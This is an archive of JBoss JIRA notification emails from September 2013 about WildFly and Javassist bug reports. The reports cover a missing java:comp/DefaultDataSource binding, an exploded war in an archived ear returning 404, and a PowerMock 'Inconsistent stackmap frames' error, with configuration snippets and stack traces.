 {code}EE 5.19

The Java EE Platform requires that a Java EE Product Provider provide a database 
in the operational environment (see Section EE.2.6, ?Database?). The Java EE 
Product Provider must also provide a preconfigured, default data source for use by 
the application in accessing this database.
The Java EE Product Provider must make the default data source accessible to 
the application under the JNDI name java:comp/DefaultDataSource.
The Application Component Provider or Deployer may explicitly bind a 
DataSource resource reference to the default data source using the lookup element 
of the Resource annotation or the lookup-name element of the resource-ref
deployment descriptor element. For example,
@Resource(lookup="java:comp/DefaultDataSource")
DataSource myDS;
In the absence of such a binding, the mapping of the reference will default to 
the product's default data source.
For example, the following will map to a preconfigured data source for the 
product's default database:
@Resource
DataSource myDS;{code}

This, isn't working however:

{code}
<persistence version="2.1" xmlns="http://xmlns.jcp.org/xml/ns/persistence" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/persistence http://www.oracle.com/webfolder/technetwork/jsc/xml/ns/persistence/persistence_2_1.xsd">

   <persistence-unit name="default" transaction-type="JTA">
   </persistence-unit>

</persistence>{code}

Results in: 

{code}
10:41:31,002 ERROR [org.jboss.msc.service.fail] (ServerService Thread Pool -- 50) MSC000001: Failed to start service jboss.persistenceunit."jpa-standard.war#default": org.jboss.msc.service.StartException in service jboss.persistenceunit."jpa-standard.war#default": org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
	at org.jboss.as.jpa.service.PersistenceUnitServiceImpl$1.run(PersistenceUnitServiceImpl.java:134) [wildfly-jpa-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_21]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_21]
	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_21]
	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
Caused by: org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
	at org.hibernate.engine.jdbc.dialect.internal.DialectFactoryImpl.determineDialect(DialectFactoryImpl.java:98)
	at org.hibernate.engine.jdbc.dialect.internal.DialectFactoryImpl.buildDialect(DialectFactoryImpl.java:66)
	at org.hibernate.engine.jdbc.internal.JdbcServicesImpl.configure(JdbcServicesImpl.java:193)
	at org.hibernate.boot.registry.internal.StandardServiceRegistryImpl.configureService(StandardServiceRegistryImpl.java:88)
	at org.hibernate.service.internal.AbstractServiceRegistryImpl.initializeService(AbstractServiceRegistryImpl.java:159)
	at org.hibernate.service.internal.AbstractServiceRegistryImpl.getService(AbstractServiceRegistryImpl.java:131)
	at org.hibernate.cfg.Configuration.buildTypeRegistrations(Configuration.java:1844)
	at org.hibernate.cfg.Configuration.buildSessionFactory(Configuration.java:1802)
	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl$4.perform(EntityManagerFactoryBuilderImpl.java:844)
	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl$4.perform(EntityManagerFactoryBuilderImpl.java:836)
	at org.hibernate.boot.registry.classloading.internal.ClassLoaderServiceImpl.withTccl(ClassLoaderServiceImpl.java:368)
	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl.build(EntityManagerFactoryBuilderImpl.java:835)
	at org.jboss.as.jpa.hibernate4.management.TwoPhaseBootstrapImpl.build(TwoPhaseBootstrapImpl.java:44)
	at org.jboss.as.jpa.service.PersistenceUnitServiceImpl$1.run(PersistenceUnitServiceImpl.java:115) [wildfly-jpa-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	... 4 more

10:41:31,010 ERROR [org.jboss.as.controller.management-operation] (DeploymentScanner-threads - 1) JBAS014613: Operation ("full-replace-deployment") failed - address: ([]) - failure description: {"JBAS014671: Failed services" => {"jboss.persistenceunit.\"jpa-standard.war#default\"" => "org.jboss.msc.service.StartException in service jboss.persistenceunit.\"jpa-standard.war#default\": org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
    Caused by: org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set"}}
{code}


    
> Default DataSource is not working
> ---------------------------------
>
>                 Key: WFLY-2027
>                 URL: https://issues.jboss.org/browse/WFLY-2027
>             Project: WildFly
>          Issue Type: Bug
>          Components: JPA / Hibernate
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Lincoln Baxter III
>            Assignee: Scott Marlow
>
> The EE spec states that a default datasource must be supplied under: java:comp/DefaultDataSource, and if none is specified by the @Resource or persistence.xml, it must be assumed:
>  {code}EE 5.19
> The Java EE Platform requires that a Java EE Product Provider provide a database 
> in the operational environment (see Section EE.2.6, ?Database?). The Java EE 
> Product Provider must also provide a preconfigured, default data source for use by 
> the application in accessing this database.
> The Java EE Product Provider must make the default data source accessible to 
> the application under the JNDI name java:comp/DefaultDataSource.
> The Application Component Provider or Deployer may explicitly bind a 
> DataSource resource reference to the default data source using the lookup element 
> of the Resource annotation or the lookup-name element of the resource-ref
> deployment descriptor element. For example,
> @Resource(lookup="java:comp/DefaultDataSource")
> DataSource myDS;
> In the absence of such a binding, the mapping of the reference will default to 
> the product's default data source.
> For example, the following will map to a preconfigured data source for the 
> product's default database:
> @Resource
> DataSource myDS;{code}
> This, isn't working however:
> {code}
> <persistence version="2.1" xmlns="http://xmlns.jcp.org/xml/ns/persistence" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
>    xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/persistence http://www.oracle.com/webfolder/technetwork/jsc/xml/ns/persistence/persistence_2_1.xsd">
>    <persistence-unit name="default" transaction-type="JTA">
>    </persistence-unit>
> </persistence>{code}
> Results in: 
> {code}
> 10:41:31,002 ERROR [org.jboss.msc.service.fail] (ServerService Thread Pool -- 50) MSC000001: Failed to start service jboss.persistenceunit."jpa-standard.war#default": org.jboss.msc.service.StartException in service jboss.persistenceunit."jpa-standard.war#default": org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
> 	at org.jboss.as.jpa.service.PersistenceUnitServiceImpl$1.run(PersistenceUnitServiceImpl.java:134) [wildfly-jpa-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_21]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_21]
> 	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
> Caused by: org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
> 	at org.hibernate.engine.jdbc.dialect.internal.DialectFactoryImpl.determineDialect(DialectFactoryImpl.java:98)
> 	at org.hibernate.engine.jdbc.dialect.internal.DialectFactoryImpl.buildDialect(DialectFactoryImpl.java:66)
> 	at org.hibernate.engine.jdbc.internal.JdbcServicesImpl.configure(JdbcServicesImpl.java:193)
> 	at org.hibernate.boot.registry.internal.StandardServiceRegistryImpl.configureService(StandardServiceRegistryImpl.java:88)
> 	at org.hibernate.service.internal.AbstractServiceRegistryImpl.initializeService(AbstractServiceRegistryImpl.java:159)
> 	at org.hibernate.service.internal.AbstractServiceRegistryImpl.getService(AbstractServiceRegistryImpl.java:131)
> 	at org.hibernate.cfg.Configuration.buildTypeRegistrations(Configuration.java:1844)
> 	at org.hibernate.cfg.Configuration.buildSessionFactory(Configuration.java:1802)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl$4.perform(EntityManagerFactoryBuilderImpl.java:844)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl$4.perform(EntityManagerFactoryBuilderImpl.java:836)
> 	at org.hibernate.boot.registry.classloading.internal.ClassLoaderServiceImpl.withTccl(ClassLoaderServiceImpl.java:368)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl.build(EntityManagerFactoryBuilderImpl.java:835)
> 	at org.jboss.as.jpa.hibernate4.management.TwoPhaseBootstrapImpl.build(TwoPhaseBootstrapImpl.java:44)
> 	at org.jboss.as.jpa.service.PersistenceUnitServiceImpl$1.run(PersistenceUnitServiceImpl.java:115) [wildfly-jpa-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	... 4 more
> 10:41:31,010 ERROR [org.jboss.as.controller.management-operation] (DeploymentScanner-threads - 1) JBAS014613: Operation ("full-replace-deployment") failed - address: ([]) - failure description: {"JBAS014671: Failed services" => {"jboss.persistenceunit.\"jpa-standard.war#default\"" => "org.jboss.msc.service.StartException in service jboss.persistenceunit.\"jpa-standard.war#default\": org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
>     Caused by: org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set"}}
> {code}
> Additionally, actually specifying the expected JDNI name of the default DS like this:
> {code}   <persistence-unit name="default" transaction-type="JTA">
>       <jta-data-source>java:comp/DefaultDataSource</jta-data-source>
>       <exclude-unlisted-classes>false</exclude-unlisted-classes>
>    </persistence-unit>{code}
> Results in this:
> {code}
> JBAS014775:    New missing/unsatisfied dependencies:
>       service jboss.naming.context.java.module.jpa-standard.jpa-standard.DefaultDataSource (missing) dependents: [service jboss.persistenceunit."jpa-standard.war#default".__FIRST_PHASE__] 
>       service jboss.persistenceunit."jpa-standard.war#default".__FIRST_PHASE__ (missing) dependents: [service jboss.deployment.unit."jpa-standard.war".POST_MODULE] 
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Mon Sep  9 11:43:03 2013
From: jira-events at lists.jboss.org (Emmanuel Hugonnet (JIRA))
Date: Mon, 9 Sep 2013 11:43:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2028) An exploded war inside an
 archived ear returns 404
In-Reply-To: <JIRA.12500314.1378741350048@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500314.1378741350048@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500314.1378741350048.15976.1378741383906@jira02.app.mwc.hst.phx2.redhat.com>

Emmanuel Hugonnet created WFLY-2028:
---------------------------------------

             Summary: An exploded war inside an archived ear returns 404
                 Key: WFLY-2028
                 URL: https://issues.jboss.org/browse/WFLY-2028
             Project: WildFly
          Issue Type: Feature Request
          Components: EE
    Affects Versions: 8.0.0.Alpha4
            Reporter: Emmanuel Hugonnet
            Assignee: Emmanuel Hugonnet


When an archived ear which includes an exploded war is deployed in EAP 6, the application seems to be deployed successfully but it returns status code 404. 
1. Start EAP 6 standalone mode
2. Put the attached test.ear to $JBOSS_HOME/standalone/deployments
3. Access the web application
    curl -v http://localhost:8080/test/index.jsp 

JBoss returns status code 404.
JBoss returns actual response of web application's content.


Additional info:

Same application works in EAP 5. When an application is an exploded ear which includes an exploded war, it works in EAP 6.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 11:43:04 2013
From: jira-events at lists.jboss.org (Alexey Loubyansky (JIRA))
Date: Mon, 9 Sep 2013 11:43:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2029) access-type attribute
 description and access-control section
In-Reply-To: <JIRA.12500315.1378741350869@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500315.1378741350869@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500315.1378741350869.15979.1378741384097@jira02.app.mwc.hst.phx2.redhat.com>

Alexey Loubyansky created WFLY-2029:
---------------------------------------

             Summary: access-type attribute description and access-control section
                 Key: WFLY-2029
                 URL: https://issues.jboss.org/browse/WFLY-2029
             Project: WildFly
          Issue Type: Sub-task
          Components: Domain Management
            Reporter: Alexey Loubyansky
            Assignee: Kabir Khan


<aloubyansky> bstansberry: i see that for attributes with access-type=read-only, the access-control section contains read=true, write=true
<bstansberry> aloubyansky: can you file a JIRA, assigned to kabir, subtask of WFLY-490?
<aloubyansky> bstansberry: you mean attribute's access-type and access-control section should be consistent?
<bstansberry> aloubyansky: i mean you shouldn't have "write" as part of access control if the attribute isn't writable
<bstansberry> aloubyansky: I definitely don't mean that the value of access-type should depend on access control

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 11:45:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 9 Sep 2013 11:45:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2028) An exploded war inside an
 archived ear returns 404
In-Reply-To: <JIRA.12500314.1378741350000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500314.1378741350000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500314.1378741350000.15982.1378741503900@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2028?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-2028:
------------------------------------------

    Bugzilla Update:   (was: Perform)

    
> An exploded war inside an archived ear returns 404
> --------------------------------------------------
>
>                 Key: WFLY-2028
>                 URL: https://issues.jboss.org/browse/WFLY-2028
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: EE
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Emmanuel Hugonnet
>            Assignee: Emmanuel Hugonnet
>
> When an archived ear which includes an exploded war is deployed in EAP 6, the application seems to be deployed successfully but it returns status code 404. 
> 1. Start EAP 6 standalone mode
> 2. Put the attached test.ear to $JBOSS_HOME/standalone/deployments
> 3. Access the web application
>     curl -v http://localhost:8080/test/index.jsp 
> JBoss returns status code 404.
> JBoss returns actual response of web application's content.
> Additional info:
> Same application works in EAP 5. When an application is an exploded ear which includes an exploded war, it works in EAP 6.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 11:45:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 9 Sep 2013 11:45:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2028) An exploded war inside an
 archived ear returns 404
In-Reply-To: <JIRA.12500314.1378741350000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500314.1378741350000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500314.1378741350000.15985.1378741504027@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2028?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-2028:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=991244

    
> An exploded war inside an archived ear returns 404
> --------------------------------------------------
>
>                 Key: WFLY-2028
>                 URL: https://issues.jboss.org/browse/WFLY-2028
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: EE
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Emmanuel Hugonnet
>            Assignee: Emmanuel Hugonnet
>
> When an archived ear which includes an exploded war is deployed in EAP 6, the application seems to be deployed successfully but it returns status code 404. 
> 1. Start EAP 6 standalone mode
> 2. Put the attached test.ear to $JBOSS_HOME/standalone/deployments
> 3. Access the web application
>     curl -v http://localhost:8080/test/index.jsp 
> JBoss returns status code 404.
> JBoss returns actual response of web application's content.
> Additional info:
> Same application works in EAP 5. When an application is an exploded ear which includes an exploded war, it works in EAP 6.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 11:45:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 9 Sep 2013 11:45:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2028) An exploded war inside an
 archived ear returns 404
In-Reply-To: <JIRA.12500314.1378741350000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500314.1378741350000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500314.1378741350000.15988.1378741504226@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2028?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802800#comment-12802800 ] 

RH Bugzilla Integration commented on WFLY-2028:
-----------------------------------------------

Emmanuel Hugonnet (ehsavoie) <ehugonne at redhat.com> changed the Status of [bug 991244|https://bugzilla.redhat.com/show_bug.cgi?id=991244] from NEW to ASSIGNED
                
> An exploded war inside an archived ear returns 404
> --------------------------------------------------
>
>                 Key: WFLY-2028
>                 URL: https://issues.jboss.org/browse/WFLY-2028
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: EE
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Emmanuel Hugonnet
>            Assignee: Emmanuel Hugonnet
>
> When an archived ear which includes an exploded war is deployed in EAP 6, the application seems to be deployed successfully but it returns status code 404. 
> 1. Start EAP 6 standalone mode
> 2. Put the attached test.ear to $JBOSS_HOME/standalone/deployments
> 3. Access the web application
>     curl -v http://localhost:8080/test/index.jsp 
> JBoss returns status code 404.
> JBoss returns actual response of web application's content.
> Additional info:
> Same application works in EAP 5. When an application is an exploded ear which includes an exploded war, it works in EAP 6.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 11:47:03 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Mon, 9 Sep 2013 11:47:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1409) custom mail server should
 allow definition of independent properties
In-Reply-To: <JIRA.12493068.1369815646000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12493068.1369815646000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12493068.1369815646000.15999.1378741623641@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1409?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tomaz Cerar updated WFLY-1409:
------------------------------

    Fix Version/s: 8.0.0.Beta1

    
> custom mail server should allow definition of independent properties
> --------------------------------------------------------------------
>
>                 Key: WFLY-1409
>                 URL: https://issues.jboss.org/browse/WFLY-1409
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Mail
>            Reporter: Jakub Cechacek
>            Assignee: Tomaz Cerar
>            Priority: Minor
>             Fix For: 8.0.0.Beta1
>
>
> Current implementation doesn't allow definition of independent properties - instead they will always have form of "mail.$ServerName.someprop". Thus it's not possible to setup properties such as "mail.transport.protocol"[1] inside custom server. 
> Also customer will unlikely design custom transport protocol from scratch. More often it will be just a wrapper around existing protocol such as smtp with some additional functionality (this is also case of [2]). However as a workaround one can define custom server together with server for underlying protocol within one mail session. 
> [1] which will cause session.getTransport(); to return null as default protocol is not set. 
> [2] https://c.na7.visual.force.com/apex/Case_View?id=500A000000A4N8b

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 11:49:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 9 Sep 2013 11:49:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2028) An exploded war inside an
 archived ear returns 404
In-Reply-To: <JIRA.12500314.1378741350000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500314.1378741350000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500314.1378741350000.16008.1378741744040@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2028?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802802#comment-12802802 ] 

RH Bugzilla Integration commented on WFLY-2028:
-----------------------------------------------

Emmanuel Hugonnet (ehsavoie) <ehugonne at redhat.com> made a comment on [bug 991244|https://bugzilla.redhat.com/show_bug.cgi?id=991244]

https://github.com/ehsavoie/wildfly/compare/WFLY-2028 for a view on the current fix for Wildfly
                
> An exploded war inside an archived ear returns 404
> --------------------------------------------------
>
>                 Key: WFLY-2028
>                 URL: https://issues.jboss.org/browse/WFLY-2028
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: EE
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Emmanuel Hugonnet
>            Assignee: Emmanuel Hugonnet
>
> When an archived ear which includes an exploded war is deployed in EAP 6, the application seems to be deployed successfully but it returns status code 404. 
> 1. Start EAP 6 standalone mode
> 2. Put the attached test.ear to $JBOSS_HOME/standalone/deployments
> 3. Access the web application
>     curl -v http://localhost:8080/test/index.jsp 
> JBoss returns status code 404.
> JBoss returns actual response of web application's content.
> Additional info:
> Same application works in EAP 5. When an application is an exploded ear which includes an exploded war, it works in EAP 6.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 11:53:03 2013
From: jira-events at lists.jboss.org (Chris Sun (JIRA))
Date: Mon, 9 Sep 2013 11:53:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JASSIST-205) "VerifyError: Inconsistent
 stackmap frames" from PowerMock (using Javassist 3.18)
In-Reply-To: <JIRA.12494678.1371667820000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494678.1371667820000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494678.1371667820000.16038.1378741983593@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JASSIST-205?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802805#comment-12802805 ] 

Chris Sun commented on JASSIST-205:
-----------------------------------

Sorry for the question but where from can I get the 3.19.0-GA artifact?
                
> "VerifyError: Inconsistent stackmap frames" from PowerMock (using Javassist 3.18)
> ---------------------------------------------------------------------------------
>
>                 Key: JASSIST-205
>                 URL: https://issues.jboss.org/browse/JASSIST-205
>             Project: Javassist
>          Issue Type: Bug
>    Affects Versions: 3.18.0-GA
>         Environment: jdk1.7.0_21, Win8amd64
>            Reporter: Ryan Kenney
>            Assignee: Shigeru Chiba
>             Fix For: 3.18.1-GA, 3.19.0-GA
>
>         Attachments: PowerMockDemo.zip, powermockdemoDEBUG.txt, PowerMockTest.class, PowerMockTest.javap, PowerMockTestCorrectedOffsets.javap, PowerMockTestLatest.javap, PowerMockTestPatched.javap, PowerMockTestWithChibaFix.javap, PowerMockTest_jdk8.javap, TEST-PowerMockTest.xml
>
>
> Apologies if this is a duplicate of JASSIST-204. I didn't delve into the actual Javassist APIs used, I'm simply seeing an error in my PowerMock usage. Fortunately, this ticket provides a very simple test case for reproducibility.
> I was prompted to open a Javassist ticket by the following PowerMock ticket: https://code.google.com/p/powermock/issues/detail?id=355
> I'm attaching a very simple maven project with a unit test to demonstrate the problem.
> Here are the guts of the failing unit test:
> {code}
> @RunWith(PowerMockRunner.class)
> @PrepareForTest( {MyClassUnderTest.class} )
> public class PowerMockTest {
> 	/**************************************************************************
> 	 * Demonstrates an "Inconsistent stackmap frames" exception that results
> 	 * from PowerMock 1.5 and JDK 7.
> 	 *************************************************************************/
> 	@Test
> 	public void testWaitForExitMockMonitors() throws InterruptedException {
> 		resetAll();
> 		
> 		Object mockMonitor = createStrictMock(Object.class);
> 		MyClassUnderTest myClass = new MyClassUnderTest(mockMonitor);
> 		
> 		mockMonitor.wait(0);
> 		mockMonitor.notifyAll();
> 		
> 		replayAll();
> 		
> 		myClass	.run();
> 		
> 		verifyAll();
> 	}
> 	
> 	public static class MyClassUnderTest {
> 		private Object m_monitor;
> 		
> 		public MyClassUnderTest(Object monitor) {
> 			m_monitor = monitor;
> 		}
> 		
> 		public void run() throws InterruptedException {
> 			m_monitor.wait(0);
> 			m_monitor.notifyAll();
> 		}
> 	}
> }
> {code}
> And here is my error:
> {code}
> java.lang.VerifyError: Inconsistent stackmap frames at branch target 283 in method com.scea.dart.cmd.targetcontrol.target.process.PowerMockTest.testWaitForExitMockMonitors()V at offset 274
> 	at java.lang.Class.getDeclaredMethods0(Native Method)
> 	at java.lang.Class.privateGetDeclaredMethods(Class.java:2451)
> 	at java.lang.Class.privateGetPublicMethods(Class.java:2571)
> 	at java.lang.Class.getMethods(Class.java:1429)
> 	at org.powermock.modules.junit4.internal.impl.PowerMockJUnit44RunnerDelegateImpl.getTestMethods(PowerMockJUnit44RunnerDelegateImpl.java:95)
> 	at org.powermock.modules.junit4.internal.impl.PowerMockJUnit44RunnerDelegateImpl.<init>(PowerMockJUnit44RunnerDelegateImpl.java:71)
> 	at org.powermock.modules.junit4.internal.impl.PowerMockJUnit49RunnerDelegateImpl.<init>(PowerMockJUnit49RunnerDelegateImpl.java:29)
> 	at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
> 	at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:57)
> 	at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
> 	at java.lang.reflect.Constructor.newInstance(Constructor.java:525)
> 	at org.powermock.modules.junit4.common.internal.impl.JUnit4TestSuiteChunkerImpl.createDelegatorFromClassloader(JUnit4TestSuiteChunkerImpl.java:143)
> 	at org.powermock.modules.junit4.common.internal.impl.JUnit4TestSuiteChunkerImpl.createDelegatorFromClassloader(JUnit4TestSuiteChunkerImpl.java:39)
> 	at org.powermock.tests.utils.impl.AbstractTestSuiteChunkerImpl.createTestDelegators(AbstractTestSuiteChunkerImpl.java:217)
> 	at org.powermock.modules.junit4.common.internal.impl.JUnit4TestSuiteChunkerImpl.<init>(JUnit4TestSuiteChunkerImpl.java:59)
> 	at org.powermock.modules.junit4.common.internal.impl.AbstractCommonPowerMockRunner.<init>(AbstractCommonPowerMockRunner.java:32)
> 	at org.powermock.modules.junit4.PowerMockRunner.<init>(PowerMockRunner.java:33)
> 	at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
> 	at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:57)
> 	at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
> 	at java.lang.reflect.Constructor.newInstance(Constructor.java:525)
> 	at org.junit.internal.builders.AnnotatedBuilder.buildRunner(AnnotatedBuilder.java:31)
> 	at org.junit.internal.builders.AnnotatedBuilder.runnerForClass(AnnotatedBuilder.java:24)
> 	at org.junit.runners.model.RunnerBuilder.safeRunnerForClass(RunnerBuilder.java:57)
> 	at org.junit.internal.builders.AllDefaultPossibilitiesBuilder.runnerForClass(AllDefaultPossibilitiesBuilder.java:29)
> 	at org.junit.runners.model.RunnerBuilder.safeRunnerForClass(RunnerBuilder.java:57)
> 	at org.junit.internal.requests.ClassRequest.getRunner(ClassRequest.java:24)
> 	at org.eclipse.jdt.internal.junit4.runner.JUnit4TestReference.<init>(JUnit4TestReference.java:33)
> 	at org.eclipse.jdt.internal.junit4.runner.JUnit4TestClassReference.<init>(JUnit4TestClassReference.java:25)
> 	at org.eclipse.jdt.internal.junit4.runner.JUnit4TestLoader.createTest(JUnit4TestLoader.java:48)
> 	at org.eclipse.jdt.internal.junit4.runner.JUnit4TestLoader.loadTests(JUnit4TestLoader.java:38)
> 	at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests(RemoteTestRunner.java:452)
> 	at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests(RemoteTestRunner.java:683)
> 	at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.run(RemoteTestRunner.java:390)
> 	at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.main(RemoteTestRunner.java:197)
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 12:03:03 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Mon, 9 Sep 2013 12:03:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2027) Default DataSource is not
	working
In-Reply-To: <JIRA.12500313.1378739268000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500313.1378739268000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500313.1378739268000.16050.1378742583556@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2027?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802807#comment-12802807 ] 

Scott Marlow commented on WFLY-2027:
------------------------------------

Wildfly does not have a java:comp/DefaultDataSource.  Also worth including [https://blogs.oracle.com/arungupta/entry/default_datasource_in_java_ee] that you mentioned in the irc discussion.

For the EE 7 platform spec, I have this as "EE.5.20 Default Data Source".

                
> Default DataSource is not working
> ---------------------------------
